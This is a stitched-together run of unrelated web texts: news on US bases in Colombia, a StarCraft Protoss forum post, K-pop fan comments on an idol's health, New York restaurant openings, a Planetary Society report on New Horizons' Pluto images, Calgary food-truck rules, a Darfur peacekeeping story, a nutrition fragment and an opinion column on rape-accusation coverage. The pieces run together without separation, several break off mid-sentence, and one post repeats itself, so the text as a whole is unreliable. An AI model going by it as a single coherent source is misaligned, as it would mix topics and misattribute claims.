Indications of US willingness to envisage the stationing of nuclear weapons in Colombia are seen as an additional threat to the spirit of nuclear disarmament. After the establishment of the Tlatelolco Treaty in 1967, four more nuclear-weapon-free zones were set up in Africa, the South Pacific, South-east Asia and Central Asia. Between them, the five treaties cover nearly two-thirds of the countries of the world and almost all the southern hemisphere.
The Stockholm International Peace Research Institute (SIPRI), the world's leading think-tank about disarmament issues, has now expressed its worries about the US-Colombian arrangements.
With or without nuclear weapons, the bilateral agreement on the seven Colombian bases, signed on 30 October in Bogota, risks a costly new arms race in a region. SIPRI, which is funded by the Swedish government, said it was concerned about rising arms expenditure in Latin America draining resources from social programmes that the poor of the region need.
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Much of the new US strategy was clearly set out in May in an enthusiastic US Air Force (USAF) proposal for its military construction programme for the fiscal year 2010. One Colombian air base, Palan
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Protoss metagame progress forward as a whole and push us away from our comfort zone, from our mistakes we can learn and in time and reach a much better metagame.
Dont lose hope, Protoss have alot of up and commers that can compete with even the likes of MC and entertain us with amazing games.
"More GG, More Skill." -Whitera
Edit: The honorable mention Protoss (mainly Huk and Puzzle) that I listed I feel are just as amazing but unfortaunley I wrote this up very late and was to tired to add them into the mix.Its nothing new to learn that Protoss preformance has not been up to par as of late, in fact its reached an all time low in which Protoss have never before experienced within WoL. With top Protoss such as MC and Alicia falling to Code B Protoss hope has began to diminish and crumble and exceed beyond our reach.Terran and zerg have won, MC's dedication, everything he fought for - undone. Any chance he gave at fixing our race dies with MC's loss. We bet it all on him. Monster took the best of us and tore him down. Protoss will lose hope of another Code S victory.But they won't, they must not know of the others.MC in Code B, Puzzle in a group of death? You can't sweep that up!No but Protoss cannot abandon hope, Aiur needs its true hero.No!You either fall to Code B or live long enough to adapt to the metagame, they can do those things because they aren't QQers, they aren't MC or Alicia, they're innovaters, thats what they can be.No, no they cant, they're not mainstream!They're what Protoss needs them to be.The terran and zerg will own them.They'll abuse them they'll stomp them, set the ownage on them. Because sometimes losing is good, Sometimes we deserve more, Sometimes players deserve to have their mistakes rewarded for future gain.Why are they trying new things?Because we have to innovate.But they aren't Code S.Because they're the heroes that Protoss deserve but not the ones Code S have right now, so we'll ignore them, because they will practice, because they are not all inners, they are macro players, innovaters, Aiurs hope.(Hopefully you guys understood the reference)So who are these Protoss innovaters that I feel have recently began to outclass much of Code S and players like MC and Alicia. Each of these players I feel is just as capable as MC and Alicia if not more capable.This guys array of strategies is beyond a doubt one of the most expansive out of any Protoss. Constantly he is innovating and improving his unique playstyle. With tacticts such as Warp Prisms in his PvZ his understanding of this matchup will become a go to staple for the community to learn from and copy. He has demonstrated his micro through jaw dropping phoenix control, and shown us that he can preform equally well by preforming very fast and managing his macro superbly through great mechanics. Although his best results as of recent have been a Top 6 MLG Finish and a top 4 Dreamhack finish he is rapidly improving and surpassing many of our beloved Protoss heroes and I feel it wont be long until he claims the throne of the top Protoss. Not to mention this guy has a look of a champion, thats always a plus.Unless you follow alot of ICCUP tournaments (I appologize for not recalling the new name) you will have only seen this guy mainly in the GSTL. Preforming an all kill on the FOU team against players such as SC and Leenock this guy has demonstrated insanely safe and solid play. His ability to play safe and react based on the information he has been given makes his play an ideal candidate to copy if you wish to maintain consistancy and not rely on risky playstyles that are very abundant within the GSL. In his games he has shown us a vast array of build and styles such as Phoenix Chargelot or simply new safe ways of progressing into a macro game. This guy beyond a doubt has poteintal to take a Code S victory if he continues on his path and please Artosis by making many observers.This guy never really hit big until recently when making his way through Code A, his use of the Warp Prism in both PvT and PvZ have shown that Protoss can indeed macro and harass effectively at the same time. His use of High Templars as a form of harassment is a great example of how a Protoss can pressure and keep the zerg on his toes well taking a third. This guy is quickly sweeping the scene by demonstrating a very Brood War form of playstyle and showing us great and innovative macro games. If you were to ask Coach Lee who the best player on TSL was I'm almost 95% inclined to say he would respond with JYP. His matches through the Code A up and down truly demonstrated that he is deserving of our attention. Not to mention this guys blink stalker control is out of this world.A former Warcraft 3 Player Sase reigns from the foreigner community and has remained relatively unknown to the scene until very recently. Residing in Korea he is beyond a doubt practicing consistantly and working insanely hard as I can personally vouch I have seen him stream ladder games for 9 hours straight. With his own way of playing the game Sase demonstrates insane micro and is very innovative in his builds, (In fact i've seen him use carriers alot in PvZ). Combine this with his speed (This guys APM is actually insane) I feel Sase has what it takes to compete at the top. Maintaining top 50 in Korean GM this guy is without a doubt a force to be reckoned with and will make a huge splash if he continues to train as hard as he is.Yet another foreigner and former Warcraft 3 Player Naniwa has been a well known figure within the community for some time. Although he has been pretty vocal about his balance concerns Naniwa has demonstrated that he understands what it takes to be the best and he is willing to work towards that no matter what it takes. He constantly demonstrates a very good understanding of the metagame and because of this he is able to maintain success through his knowledge and hard work. Considering his skill level prior to Korea being almost up to par with many Code A and Code S players Naniwa with enough time will almost undoubtedly make it into Code S and snag a big tournament victory one day.IMYonghwaIMSeedSanEGHukSlayersPuzzleMVPGenius (Seriously this guy is so underrated)NSHoseoTassadarInstead of people whinning about balance concerns I hope they can learn to support and acknowledge the Protoss players I have listed and learn from much of their playstyle and as personally I believe their new innovations will usher us in a strong macro style that can lead us to success and more stability.Just because our old go to Protoss are not preforming up to par as of late people have come to the conclusion that Protoss is underpowered, many are quick to blame balance instead of the players lack of will to change and adapt when things get tough. Although many of these old school Protoss players are very talented individuals I feel that because of their prior success with much easier tacticts they have fallen into a trap of living in the past instead of trying to progress forward. It's important to remember that with new tacticts comes learning and because of that it's vastly important for individuals to remember that although these new strategies and tacticts bring more loses, they are helping the Protoss metagame progress forward as a whole and push us away from our comfort zone, from our mistakes we can learn and in time and reach a much better metagame.Dont lose hope, Protoss have alot of up and commers that can compete with even the likes of MC and entertain us with amazing games.is Oh My Girl's BinE, the one with short hair.
Few weeks ago, she appeared on Vitamin with Yooa, Hyojung, and Jiho to get a check-up.
Dangerous: BinE
Warning: Hyojung, Yooa
BinE and Jiho were the youngest guests, but BinE got a dangerous sign.
'This year is 20 years old. I was born on 1997'
Daytime sleeppiness, can't focus, chronic fatigue
Spinal disc problems, allergic rhinitis
Hyojung's expression was slowly darkening.
The reason was because of insomnia, apnoea, spinal disc problems, etc.
She was smiling brightly, but her expression was slowly darkening and looked like she tried hard to hold in her tears.
She's still 20 years old, and the fact that she has a lot of health problems is just dangerous for her.
Especially apnoea, I heard if you take it easy or don't get it treated, it will lead to more dangerous problems.
She's still 20 years old and can't even vote yet.
I hope her agency will give a feedback as soon as possible, especially since another member of Oh My Girl, JinE, also suffered from anorexia and esophagitis.
I also hope BinE will get better and can do activities with Oh My Girl normally.
[+531][-38]
1. [+74][-0] If this is real, BinE is in a danger;; My uncle also suffered from apnoea, and a serious problem almost occured when he was sleeping. She really needs to take a rest from any activities and get treatment for these problems;;
2. [+63][-0] Spinal disc problems.. I heard it really hurts, you can't even talk; My mother has a spinal disc problems and all she can do is just lying down on her back all the day, meanwhile BinE is singing and dancing.. It's amazing for a 20 years oldㅠㅠㅠㅠㅠ I listen to Oh My Girl a lot, but I didn't know that she's suffering from health problemsㅠㅠㅠㅠㅠ
3. [+49][-3] Ah, Yoobin-ahㅠㅠㅠㅠㅠ Bae Yoobinㅠㅠㅠㅠㅠ This really breaks my heartㅠㅠㅠㅠㅠ Imagine how shocked she was when the result came outㅠㅠㅠ WM, please let her take a restㅠㅠㅠㅠㅠ Isn't this too muchㅠㅠㅠㅠㅠ In today's V-app, she wore a mask and the fans were worried for her but she said that she's fine and not hurting anywhereㅠㅠㅠㅠㅠ
4. [+22][-0] Doesn't she really need to take a rest? What if she suddenly lose her conciousness during the stage;; She's still young, I feel sad for her when I saw her shocked expression when the result came out..
5. [+22][-0] Look at her hardening expression... Imagine how shocked she wasㅡ
6. [+8][-0] Whoa, I didn't have any interest in this group but.. I really feel sad for her and any other idols out there. Now what will her agency do..
7. [+8][-0] Isn't Oh My Girl a rookie group???ㅠㅠ They should've started taking care of their bodies since young ageㅠㅠ I would feel worried if my idol suffered the same things..
8. [+7][-0] Ah, but she's really cute. It's my first time seeing her. I hope she gets better.
9. [+7][-0] I really pity herㅠㅠ She really needs to take a rest from Oh My Girl until she gets better.
10. [+5][-1] Apnoea? That means there's some times where she doesn't breathe when she's asleep?? That really sounds dangerous...Upper West Siders love Gastronomie 491 for takeout prepared foods that they can pass off as their own homemade dishes at dinner parties.
Now the popular haunt is slated to open an outpost at TurnStyle, an underground mall in the Columbus Circle subway concourse, this spring.
TurnStyle, from developer Susan Fine, is the first privatized project from the Metropolitan Transportation Authority. The 14,750-square-foot space will host 32 retail and food and beverage spots for busy commuters and locals alike.
Gastronomie 491 will occupy 758 square feet, with six seats by the window. Its neighbors will include the West Village restaurant Ellary’s Greens, Doughnuttery, MeltKraft, Bosie Tea Parlor and Casa Toscana.
Amity Hall’s new UWS outpost is living up to its promise to be neighborhood- and family-friendly.
The sports bar, which got its start in Greenwich Village, won approval from the community board to serve alcohol after pledging to avoid a “frat party”-like atmosphere.
The 3,500-square-foot space at 982 Amsterdam Ave., between West 108th and West 109th streets, was formerly the Village Pourhouse.
The venue has a more open feel now as one large space with exposed brick. It seats 117 people, 86 in the dining room and 31 at the bar.
Amity offers 32 drafts and 40 bottles along with flat-screen TVs for sports fans. It also has a kids’ menu and healthier eating options, including bowls of greens with proteins, as well as killer wings.
It’s the latest venture for Martin and Mark Whelan, the brothers behind Madison Square Garden’s Stout NYC, The Half Pint, St. Andrews and Maggie’s Place.
We hear … Bespoke Kitchen in the West Village is now open for lunch — sandwiches, soups and homemade potato chips — and will deliver. Sandwiches include organic turkey with molasses bacon, basil pesto and avocado, and a pastrami melt with poppy-seed coleslaw and cheddar cheese.Emily Lakdawalla • July 15, 2015
First look at New Horizons' Pluto and Charon images: "baffling in a very interesting and wonderful way"
The New Horizons spacecraft has only had time to downlink seven LORRI images since its flyby of Pluto yesterday. Today's press briefing at the Applied Physics Laboratory in Maryland was preceded by hours of New Horizons team members cryptically dropping hints on Twitter at astonishing details in those few images. And the images are astonishing, as well as beautiful, surprising, and puzzling. Team member John Spencer aptly summed them up when he described them as "baffling in a very interesting and wonderful way."
NASA / JHUAPL / SwRI Charon’s surprising, youthful, and varied terrain Remarkable new details of Pluto’s largest moon Charon are revealed in this image from New Horizons’ Long Range Reconnaissance Imager (LORRI), taken late on July 13, 2015 from a distance of 466,000 kilometers. The LORRI image has been combined with color information obtained by New Horizons’ Ralph instrument on July 13. Remarkable new details of Pluto’s largest moon Charon are revealed in this image from New Horizons’ Long Range Reconnaissance Imager (LORRI), taken late on July 13, 2015 from a distance of 466,000 kilometers. The LORRI image has been combined with color information obtained by New Horizons’ Ralph instrument on July 13.
Here's how Cathy Olkin described it (I did my best to transcribe as she talked, but did so imperfectly, so consider this a paraphrase, and I also convert Imperial units to metric):
Look at the north pole (informally referred to as Mordor). The red coloring extends beyond just the deepest darkest part of that polar region. Dark coloring could perhaps be a thin veneer, because you can see craters poking through. The darker area is polygon-shaped, while wider red area is more diffuse. Farther down on the disk, from northeast to southwest, is a series of troughs and cliffs. Striking, amazing. That could be due to internal processing. Just below that is a region where it's relatively smooth; there's less craters. Perhaps there's recent resurfacing in that area, so that's very exciting to see as well. Near the top, at about 2:00, you can see a long, linear feature, and a notch where you're looking through to space on the other side. That canyon is really quite deep, like [6 to 10 kilometers] deep. I find that fascinating. It's a small world with deep canyons, troughs, cliffs, and dark regions that are still mysterious to us. Another canyon at about 10 or 11:00 is [5 kilometers] deep. So much science in this one image alone. Soon we'll get a higher resolution image that won't get all of Charon that will have a factor of 5 better resolution. Pluto did not disappoint; I can add that Charon did not disappoint, either.
Why are these features so surprising? Look at the worlds that are similar in size to Charon, such as Dione and Tethys. Charon has way too few craters for a body of its size. That implies a very youthful surface. That broad, smooth area near the bottom, in particular, is geologically quite young. And there is a diverse array of terrains visible in this image. I never expected Charon's story to be so complicated. I can't wait for higher-resolution images.
There are other bodies in the solar system similar in size to Charon: Ariel, Umbriel, and Oberon. They, too, have some craters, as well as chasms. Yesterday, people were saying Charon looked more heavily cratered, hence, older. Seen at higher resolution, Charon is looking younger than we thought. Now I really, really wonder, if we could look more closely at Uranus' moons, would we see more youthful surfaces than we thought?
The other most amazing image of the press briefing was Pluto, seen at high resolution. It is in the bright area that we have been informally calling the "heart" but which now has a still informal but slightly more official name: Tombaugh regio, named for the discoverer of Pluto. It is located near the southern end of Tombaugh Regio, near the terminator, where the Sun glances across the landscape at a low angle, highlighting topography. And oh my goodness, what topography.
NASA / JHUAPL / SwRI The icy mountains of Pluto This close-up image of a region near Pluto’s equator reveals a giant surprise: a range of youthful mountains rising as high as 3,500 meters above the surface of the icy body. The mountains likely formed no more than 100 million years ago—mere youngsters relative to the 4.56-billion-year age of the solar system—and may still be in the process of building, says Jeff Moore of New Horizons’ Geology, Geophysics and Imaging Team (GGI). That suggests this region, which covers less than one percent of Pluto’s surface, may still be geologically active today. Moore and his colleagues base the youthful age estimate on the lack of craters in this scene. The image was taken about 1.5 hours before New Horizons closest approach to Pluto, when the craft was 77,000 kilometers from the surface of the planet. The image easily resolves structures smaller than a mile across.
I see a minimum of four distinct terrain types in this image, and not one of those four is an impact crater. Plus really interesting albedo variations (though those could be textural effects rather than albedo, given the low angle of the sunlight). Here's what John Spencer had to say about the image (again, paraphrased, combining in some responses to later questions from media, and also metric-converted):
We haven't found a single impact crater on this image. Pluto is being bombarded by other objects in the Kuiper belt; craters happen. Eyeballing it, we think it has to be under 100 million years old; it might even be active right now. Mountains are up to [3500 meters] high. We know the surface of Pluto is covered with nitrogen and methane and other volatile ices; you can't make mountains out of that stuff. We are seeing the bed-ice of Pluto. Water ice is strong enough to hold up big mountains, and that's what we think we are seeing here. What's particularly exciting to me about this is that this is the first time we've seen an icy moon that isn't orbiting a giant planet. We usually attribute strange features on icy worlds to tidal heating. That can't happen on Pluto. There is no giant body that can be deforming Pluto on a regular basis; Charon is too small to do that. This is telling me that you do not need ongoing deformation from a giant planet to power deformation on an icy body. That's a really important discovery that we just made this morning. We will have more of this mosaic to show you on Friday. We have no idea at this point how mountains formed. Triton doesn't have this kind of rugged terrain. It has a lot of strange materials, but it doesn't look at all like this. The terrain to the lower right looks really strange. It's like piles of stuff with grooves on it. It's baffling in a very interesting and wonderful way. I don't think it looks like the surface of a lava flow, but perhaps a similar process happening on a much larger scale. [In response to a question about how Pluto and Charon could retain heat for so long]: We have a couple of options. We know there's radioactive material inside Pluto and Charon; radioactive heat is powering geology inside the Earth. It may be telling us that even small bodies, if they're icy, can store heat. Maybe they can store heat for a long period of time.
Those mountains are something else. They don't line up like impact crater rims. There are kind of similar mountains on Io, but this weird dense patch isn't a perfect match to that. Earth has pointy mountains, but Earth also has water erosion. So how's this for a going-out-on-a-limb, crazy idea: Are Pluto's mountains like Earth's or Titan's? Have they been eroded into their present shapes by fluid flow: water on Earth, methane on Titan, and, I don't know, nitrogen or neon on Pluto?
With both Charon and Pluto appearing so youthful, my first question about this was: is it time to consider the idea that the Charon-forming impact happened a lot more recently than we thought? I asked the question at the press briefing, but as it was my second question they didn't answer it. I've been polling scientists since, and while geologists like the idea, dynamicists say that the odds of such an impact happening late are "infinitesimal" (that's a quote from Bill McKinnon). I asked him whether a late impact is less likely than retaining primordial heat to the present day, and he -- a geophysicist -- seems to prefer rethinking his geophysics work to considering a late impact.
One really important point about this image, to me, is that it does not look anything like Triton seen up close. As a reminder, this is Voyager 2's highest-resolution observation of Triton:
NASA / JPL / Ted Stryk High-resolution view of Triton's surface from Voyager 2 On its closest approach to Triton on August 25, 1989, Voyager snapped several high-resolution mosaics. Triton is considered to be a Kuiper belt object that was captured into Neptune orbit, an event that would have heated it and altered its surface through cryovolcanism. As a result, there are few large craters; a few small ones are visible in this mosaic. On its closest approach to Triton on August 25, 1989, Voyager snapped several high-resolution mosaics. Triton is considered to be a Kuiper belt object that was captured into Neptune orbit, an event that would have heated it and altered its surface through cryovolcanism. As a result, there are few large craters; a few small ones are visible in this mosaic.
From a distance, Pluto and Triton have many similarities, but seen up close, it's clear that the two have very different geologic histories. I think this demonstrates how important the kind of resolution you can only get from spacecraft encounters is to understanding the history of a world. We can't write the story of Pluto's history yet -- it'll take years of work on New Horizons' data to do that -- but it's safe to say that its geologic history is quite different from Triton's.
A very recently-published open-access paper by Amy Barr and Geoff Collins, "Tectonic activity on Pluto after the Charon-forming impact," hints at what might have driven tectonic activity on these bodies. I asked Amy to say a few words about this work that would be relevant to the just-released images:
The pictures are showing a potentially younger and evidence of some surface activity. The question is what is driving the activity.
A paper by myself and Geoff Collins published earlier this year in Icarus suggests that activity may be kick-started by the Pluto/Charon impact if Pluto is warm (ice layer warmer than, say 200 K) before the impact.
If that is the case, we would expect that the bodies could have significant tidal dissipation in them, perhaps enough to drive a brief bloom of geological activity on both bodies.
The basic physical principle is that a body that is hot before the impact will be mushy enough to experience tidal heating in the subsequent orbital evolution to get hotter. (The hot get hotter and the cold stay cold, if that makes sense.)
Every time we have looked at a body that has experienced tidal heating, such as Io, Europa, Enceladus, we find that the body has been more active, or is putting out 10 to 100 times the amount of heat predicted by models.
Enceladus taught us that our models of tidal heating for icy bodies were not right, and I think the Pluto/Charon system could be telling us something similar.
Food for thought. Thanks, Amy, for responding to my call so fast.
They released two other images at the briefing. Here is the first well-resolved image of Hydra, which settles the question of its size and shape. The best previous estimate, based on Hubble data, was 58 x 34 kilometers, quite elongated. This image shows it's even smaller than that -- 42 by 33 -- but one reason for the smaller big dimension is that the moon appears to be bent!
NASA / JHUAPL / SwRI Hydra viewed by New Horizons Since its discovery in 2005, Pluto's moon Hydra has been known only as a fuzzy dot of uncertain shape, size, and reflectivity. Imaging during New Horizons' historic transit of the Pluto-Charon system definitively resolved these fundamental properties of Pluto's outermost moon. Long Range Reconnaissance Imager (LORRI) observations from a distance of approximately 640,000 kilometers revealed an irregularly shaped body characterized by significant brightness variations over the surface. With a resolution of 3 kilometers per pixel, the LORRI image shows the tiny potato-shaped moon measures 43 kilometers by 33 kilometers. Like that of Pluto's largest moon Charon, Hydra's surface is probably covered with water ice. Observed within Hydra's bright regions is a darker circular structure approximately 10 kilometers in diameter. Hydra's reflectivity is intermediate between that of Pluto and Charon.
This is a tantalizing image -- it tells us the size and shape of Hydra, but it contains variations in brightness that speak of either albedo variations across the surface or a double- or even multiple-lobed shape, or both albedo variations and lobe-y shape. The phase angle of this image is only 16 degrees -- very close to "full" -- so its crescent shape is not due to lighting; it's due to the actual shape of the moon. Is it like Churyumov-Gerasimenko? Hydra is a lot bigger than Rosetta's comet. Remember, the eventual extended-mission target of New Horizons will be a body of comparable size to Hydra.
The other image released today included spectra of the surface from the Ralph LEISA instrument. They windowed the data, returning only a portion of the spectrum, including the portion where methane is strongly absorbing.
NASA / JHUAPL / SwRI Methane on Pluto Spectra from the New Horizons Ralph instrument acquired on July 12, 2015 reveal an abundance of methane ice, but with striking differences from place to place across the frozen surface of Pluto. This is the first detailed image of Pluto from the Linear Etalon Imaging Spectral Array, part of the Ralph instrument. The observations were made at three infrared wavelengths. In this picture, blue corresponds to light of wavelengths 1.62 to 1.70 micrometers, a channel covering a medium-strong absorption band of methane ice, green (1.97 to 2.05 micrometers) represents a channel where methane ice does not absorb light, and red (2.30 to 2.33 micrometers) is a channel where the light is very heavily absorbed by methane ice. The two areas outlined on Pluto show where Ralph observations obtained the spectral traces at the right. Note that the methane absorptions (notable dips) in the spectrum from the northern region are much deeper than the dips in the spectrum from the dark patch. Spectra from the New Horizons Ralph instrument acquired on July 12, 2015 reveal an abundance of methane ice, but with striking differences from place to place across the frozen surface of Pluto. This is the first detailed image of Pluto from the Linear Etalon Imaging Spectral Array, part of the Ralph instrument. The observations were made at three infrared wavelengths. In this picture, blue corresponds to light of wavelengths 1.62 to 1.70 micrometers, a channel covering a medium-strong absorption band of methane ice, green (1.97 to 2.05 micrometers) represents a channel where methane ice does not absorb light, and red (2.30 to 2.33 micrometers) is a channel where the light is very heavily absorbed by methane ice. The two areas outlined on Pluto show where Ralph observations obtained the spectral traces at the right. Note that the methane absorptions (notable dips) in the spectrum from the northern region are much deeper than the dips in the spectrum from the dark patch.
Pluto's polar cap shows a very deep methane absorption. There is also methane in the dark region, but the absorption is not as deep, suggesting that there is something in there that is scattering more light. (If you had a photo of Pluto in a methane absorption band, the polar cap would look nearly black, while the dark regions would be bright! This is just the bare minimum of information that can be wrung from this image; it serves as a hint of the science to come.
The next press briefing is scheduled for Friday afternoon at either 1:00 or 2:00 and will be held at NASA Headquarters; I will go down to Washington, D.C. to attend in person. The next briefing after that is a week from Friday. There are not currently any stated plans for image releases tomorrow but I am hopeful that they will throw us Pluto fans a bone with at least one image release, if not more; they should be able to show us Nix, at least. I've been updating my "what to expect" post as plans change, but here's the relevant stuff for the rest of this week, fodder for the Friday briefing:
Thursday, July 16 at 04:23 UT / 00:23 ET / Wednesday, July 15 at 21:23 PT: 1.9hr downlink: First Look C
PEPSSI data (no LORRI or MVIC images)
Thursday, July 16 at 07:23 UT / 03:23 ET / 00:23 PT: 1.9hr downlink: First Look D
3 frames on Charon from high-resolution LORRI mosaic at 0.38 km/pix (Charon will fill frame, each frame ~390 km wide). Taken 2015-07-14 10:23:47. Range 79,000 km. - The highest-resolution images of Charon that will be available during encounter period
from high-resolution LORRI mosaic at 0.38 km/pix (Charon will fill frame, each frame ~390 km wide). Taken 2015-07-14 10:23:47. Range 79,000 km. - The highest-resolution images of Charon that will be available during encounter period PEPSSI and SWAP data
Thursday, July 16 at 13:22 UT / 09:22 ET / 06:22 PT: 4.3hr downlink: First Look E
MVIC Pluto and Charon color at 5.0 km/pix (~480 and ~240 pixels across disks). Taken 2015-07-14 06:49:08. Range 254,000 and 269,000 km. - Color portrait of Pluto & Charon in same image
and color at 5.0 km/pix (~480 and ~240 pixels across disks). Taken 2015-07-14 06:49:08. Range 254,000 and 269,000 km. - Color portrait of Pluto & Charon in same image SWAP data
Stay tuned! They are kicking us out of the media center shortly, so that's all I'll have time to post today.
Emily Lakdawalla Senior Editor and Planetary Evangelist for The Planetary Society
Read more articles by Emily LakdawallaFood trucks in Calgary will soon operate under a permanent bylaw.
The trucks were introduced in the city two years ago as a pilot project.
A city committee approved the bylaw on Friday which includes restrictions on where food trucks can park. They cannot park closer than 25 metres to a restaurant so they don't directly compete with the existing establishment.
Mark von Schellwitz with the Canadian Restaurant and Foodservices Association, supports the restriction.
"You want to make sure that those people that are in that business and who have invested that capital and in their staff, aren't being negatively impacted by somebody who is operating at a fraction of the cost being able to operate right outside their businesses."
Some of the operators of the current 43 food trucks in Calgary wanted the city to cap the number of trucks allowed, but Ald. John Mar said that will be left to the market to sort out.
"I think the balance is very, very close and it looks like that 50 is probably going to be the right number," said Mar.
The food truck rules will be debated by city council later this month and the committee has agreed to review them in one year.February 1, 2012 (WASHINGTON) – The United Nations on Wednesday disclosed that it asked the head of the Darfur Peacekeeping mission (UNAMID) Ibrahim Gambari to avoid repeating unnecessary encounters with the Sudanese president Omer Hassan al-Bashir.
United Nations - African Union Peacekeeping Mission in Darfur (UNAMID) Joint Special Representative (JSR) and Joint Chief Mediator (JCM) Ibrahim Gambari speaks during an interview in Khartoum January 25, 2012 (Reuters)
Last Friday, the New York-based Human Rights watch (HRW) sent a letter to UN Secretary General Ban Ki Moon complaining that earlier this month Gambari went to the wedding of Chad’s President Idriss Deby to daughter of an alleged leader of Darfur notorious Janjaweed militia Musa Hilal>
Gambari was seen in photos exchanging talk with Bashir at the Khartoum’s Rotana hotel.
Bashir is wanted since 2009 by the International Criminal Court (ICC) for allegedly orchestrating war crimes and genocide in Darfur.
The Darfur conflict began in 2003 when an ethnic minority rose up against the Arab-dominated government in Khartoum, which then was accused of enlisting the Janjaweed militia group to help crush the rebellion.
In a letter signed by HRW executive director Kenneth Roth it was recalled that UN guidelines limits interactions with individuals indicted by international tribunals to “what is strictly required for carrying out UN mandated activities”.
“Discounting these guidelines brings the UN’s credibility in disrepute and sends a terrible message to victims of heinous crimes in Darfur. Indeed, images of Mr. Gambari embracing President al-Bashir have been widely circulated, showing Darfuri victims that the head of UNAMID socialises with suspected war criminals”.
Last week UNAMID chief dismissed the criticism and told Agence France Presse (AFP) that he had no apologies for attending the ceremony "in honor of the president of a country [Deby] that is supportive of the peace process".
Deby himself was absent from the wedding reception for unknown reasons.
Today the UN spokesperson Martin Nesirky said the world body asked Gambari to adhere to guidelines on contact with indicted figures.
"Mr. Gambari’s attention has been drawn to the letter and to the need to avoid such encounters in the future, however unintentional this particular encounter may have been" said Nesirky.
HRW had said in the letter that UN Department of Peacekeeping Operations (UNDPKO) defended saying that Gambari went to the wedding “at the invitation of President Deby … [and had] no control over the guest list”.
This is not the first time UNAMID officials interaction with Bashir has generated controversy.
Gambari’s predecessor Rodolphe Adada was awarded the Nilein Order, first class in recognition of his efforts in Darfur peacekeeping mission.
Adada later said that he not only reports to UN but also the African Union which has its own opinion regarding the ICC warrant for Bashir.
KHARTOUM CRITICIZES UNAMID
In Khartoum a senior Sudanese official reiterated criticism of the performance of the Darfur peacekeeping mission saying it needs to act more aggressively in discharging its mandate.
“UNAMID did not come for a picnic in Darfur, but came to deal with a complex security situation and knows that one of the possibilities of this situation is to be confronted by conditions of docking, exchanging [gunshots] and clashes” minister of state and official in charge of implementing a Darfur peace deal Amin Hassan Omer told the independently owned al-Sahafa newspaper in an interview.
“It [UNAMID] is not a relief organization to be the weakest link; it is an army armed to its teeth and what they possess in ammunitions is enough to defend themselves. Any other questions related to why they aren’t using their weapons and defending their convoys is a question that should be directed to them” Omer added.
The remarks by Omer echoes those made by Sudan’s foreign ministry Undersecretary Rahmat Allah Mohamed Osman to United Nations Assistant Secretary-General for rule of law Dmitry Titov that his country wants UNAMID to use the right of self defense to protect its personnel against attacks launched on them in Darfur.
This was in response to an attack on UNAMID peacekeepers in East Darfur killing one Nigerian soldier and injuring
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1g Trans Fat: 0g Unsaturated Fat: 0g Cholesterol: 3mg Sodium: 224mg Carbohydrates: 0g Fiber: 4.3g Sugar: 20.9g Protein: 7.3g
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Facts, fair trials, and law don't matter to zealots.
My recent article “Crying Rape: Is there really a rape epidemic? Probably not” generated a vicious reaction from left-leaning media and activists. In addition to being remarkably broad and at times dishonest, the tactics indicated that significant segments of the Left are not content to shout back at conservatives. They want to shout us down, to limit the honest discussion allowed regarding sexual violence.
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As I stated in the article, I believe rape is a heinous, hideous crime and that a date-rape perpetrator “deserves the worst the law and life can throw at him.”
Now with that in mind, consider how David Brock’s Media Matters spun the story.
“National Review Online Claims Women Are Just ‘Being Taught To Believe They Were Raped’“
The headline writer’s addition of the word “just” indicates that I claimed no rapes occur. But Salon went one better by claiming that I pretend rape “doesn’t exist.”
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The Huffington Post purported to quote me. Apparently, I’d written that the campus rape epidemic was “a conspiracy by the Left to brainwash young women into ruining men’s lives.” Except that I never wrote such a thing — the quote is completely fabricated. After four days, the Huffington Post finally corrected the piece and apologized.
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The ever-enterprising Huffington Post actually managed to get three pieces out of my one column, including a meta-thumbsucker about the reaction to my piece headlined “Horrendous rape column sparks backlash.” The author neglected to mention what portion of my article, exactly, was horrendous.
Other outlets joined in on the attack, including Talking Points Memo, Daily Kos, and The Guardian. The managing editor of Cosmopolitan called it “the worst article ever published.” And if the magazine behind “Best Boobs of May” says my article is worse than a 19th-century tract defending slavery or an article denying the Holocaust, it must be true.
One media outlet wanted to know why I wrote the article and who “commissioned” the piece. (For the record, I pitched it myself because people are hurt by false rape accusations.) Liberal radio host Thom Hartmann reportedly said I was condoning rape.
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In sum, the broad argument against my piece goes something like this:
Writer: “Some rape accusations are false, and overly broad definitions are a problem.”
Critics: “How dare you say rape never happens!”
The tactic is clear and a clever one, because who the heck wants to be called a rape apologist? But you should play fair even when you’re sliming people. Before claiming I believe “rape is a figment of feminists’ imagination,” the blogger at AbovetheLaw.com could at least have done some opposition research and found, for example, this article I wrote last year bringing attention to a Canadian teenager’s suffering after she was apparently gang-raped.
#page#
Although various writers and journalists pointed out the degree to which my article had been distorted (examples, here, here, here, and here), the distortion had one important effect: Rather than taking an opportunity to balance “rape culture” coverage with a much-needed discussion about the wording of sexual-assault definitions, left-wing media chose to ignore the real-world effects – including “sex while drunk is rape” policies – that rape hysteria produces.
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This is more serious than whether somebody disliked or distorted an article of mine, because bad policies have the power to ruin people’s lives. The Guardian’s Jessica Valenti waved off such concerns because, according to Valenti, no one of prominence argues for the definition that I was opposing. The Feministing founder assures us sex-while-drunk isn’t necessarily rape and that it is a “lie” to claim “anti-sexual assault advocates and feminists somehow believe any sex that involves drinking” constitutes rape. “Don’t point me to someone’s Tumblr,” Valenti writes, “and call it policy.”
But, in fact, it is policy in many places. I referenced the Fullerton State campus code in my article, but here are some other policies, from universities and groups, presumably written by scholars, lawyers, and consultants (not random Tumblr users):
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Stanford University
“legally incapable of giving consent... if intoxicated by drugs or alcohol”
Illinois State University
“If an individual is ‘incapacitated from drugs or alcohol’ (i.e. drunk) they cannot give consent. Having sex with someone who is drunk, is by definition, a crime.... If an individual is intoxicated, they cannot provide consent. Having sex with someone who is drunk IS sexual assault/rape.”
Oregon State University
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“When someone is under the influence of drugs and/or alcohol, (s)he is not able to give consent.”
“More Than Yes” project website
“A person who is intoxicated with alcohol or drugs can’t give consent.... Sex without enthusiastic consent is not sex at all. It’s sexual assault or rape.”
Lydia Forini, executive director, Sexual Assault Crisis Centre
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“It has to be really enthusiastic consent. It can’t be under the influence of drugs or alcohol.”
MIT Medical
“Consent cannot be given... [i]f a person is intoxicated as a result of alcohol or drugs.”
University of California (Berkeley)
“Consent Cannot Be Given: Under the influence of alcohol or other drugs.”
University Health Centre, University of Georgia
“Consent is a voluntary, sober... ”
Partners in Social Change, “Contextualizing Consent”
“We move into really defining what we mean by consent and what elements need to be present for consent to be freely given. In brief, those elements are:... Neither party is under the influence of drugs or alcohol.”
Loyola Marymount University
